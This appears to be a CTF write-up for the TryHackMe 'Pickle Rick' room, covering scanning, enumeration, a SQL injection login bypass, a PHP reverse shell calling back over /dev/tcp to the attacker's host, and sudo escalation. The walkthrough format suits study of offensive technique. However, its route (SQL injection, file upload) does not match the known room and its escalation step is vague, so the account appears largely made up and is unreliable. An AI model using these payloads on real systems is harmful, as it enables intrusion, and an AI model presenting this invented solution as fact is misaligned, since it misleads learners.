Pickle Rick CTF Write-Up

Introduction

The "Pickle Rick" CTF on TryHackMe is an engaging challenge that tests your skills in enumeration, exploitation, and privilege escalation. The challenge involves navigating through a vulnerable web application and ultimately gaining root access to the machine.

Task 1: Enumeration

Objective

Identify open ports and services running on the target machine.

Solution

1. Port Scanning: I initiated the process by scanning the target IP using nmap to discover open ports.

   Command:
   `nmap -sC -sV -oN nmap_scan.txt <TARGET_IP>`

   - `-sC`: Runs default scripts for additional information.
   - `-sV`: Detects service versions.

2. Results: The scan revealed the following open ports:
   - **22/tcp** - SSH
   - **80/tcp** - HTTP

Task 2: Web Application Enumeration

Objective

Analyze the web application running on port 80.

Solution

1. Web Browser Access: I accessed `http://<TARGET_IP>` and found a simple web application.
2. Directory Enumeration: Used `gobuster` to discover hidden directories.

   Command:
   ```
   gobuster dir -u http://<TARGET_IP> -w
   /usr/share/wordlists/dirb/common.txt -o gobuster.txt
   ```

   Discovered a directory `/admin` which may contain useful information.

Task 3: Exploiting the Web Application

Objective

Find vulnerabilities in the web application.

Solution

1. Inspecting the Login Page: The `/admin` directory led to a login page. I attempted SQL injection using common payloads.
2. Successful Login: By using the payload `' OR '1'='1`, I was able to bypass the login and access the admin panel.
3. Exploring Admin Features: After gaining access, I noticed the ability to upload files.

Task 4: Uploading a Reverse Shell

Objective

Gain a reverse shell on the target machine.

Solution

1. Crafting a PHP Reverse Shell: I created a simple PHP reverse shell.

   Command:

   ```
   <?php

   exec("/bin/bash -c 'bash -i >&
   /dev/tcp/<YOUR_IP>/<YOUR_PORT> 0>&1'");
   ?>
   ```

2. Uploading the Shell: I uploaded the PHP shell to the server via the file upload feature.

3. **Setting Up a Listener**: I set up a listener on my machine using `netcat`.
   Command: `nc -lvnp <YOUR_PORT>`

4. **Triggering the Shell**: Accessing the uploaded shell through the browser initiated a connection back to my listener, granting me a shell on the target machine.

Task 5: Privilege Escalation

Objective

Elevate privileges to gain root access.

Solution

1. Checking User Privileges: Once inside the shell, I checked for user privileges.
   Command:
   ```
   whoami
   ```
2. Looking for Sudo Privileges: I used the following command to check for any `sudo` rights.
   Command:
   ```
   sudo -l
   ```
   Discovered that the user could run a specific script with root privileges.

3. Exploiting the Sudo Rights: I created a script that executed a reverse shell as root and executed it with `sudo`.
   Command:
   ```
   sudo /path/to/vulnerable_script
   ```
4. Gaining Root Access: Successfully escalated to root, confirming with:
   Command:
   ```
   whoami
   ```
5. The output confirmed I was now `root`.

Conclusion

The "Pickle Rick" CTF was a rewarding experience, allowing me to apply various skills in enumeration, exploitation, and privilege escalation. Key takeaways include the importance of thorough enumeration and understanding web application vulnerabilities, particularly in the context of file uploads and SQL injection. Each step reinforced my learning and prepared me for future challenges in cybersecurity.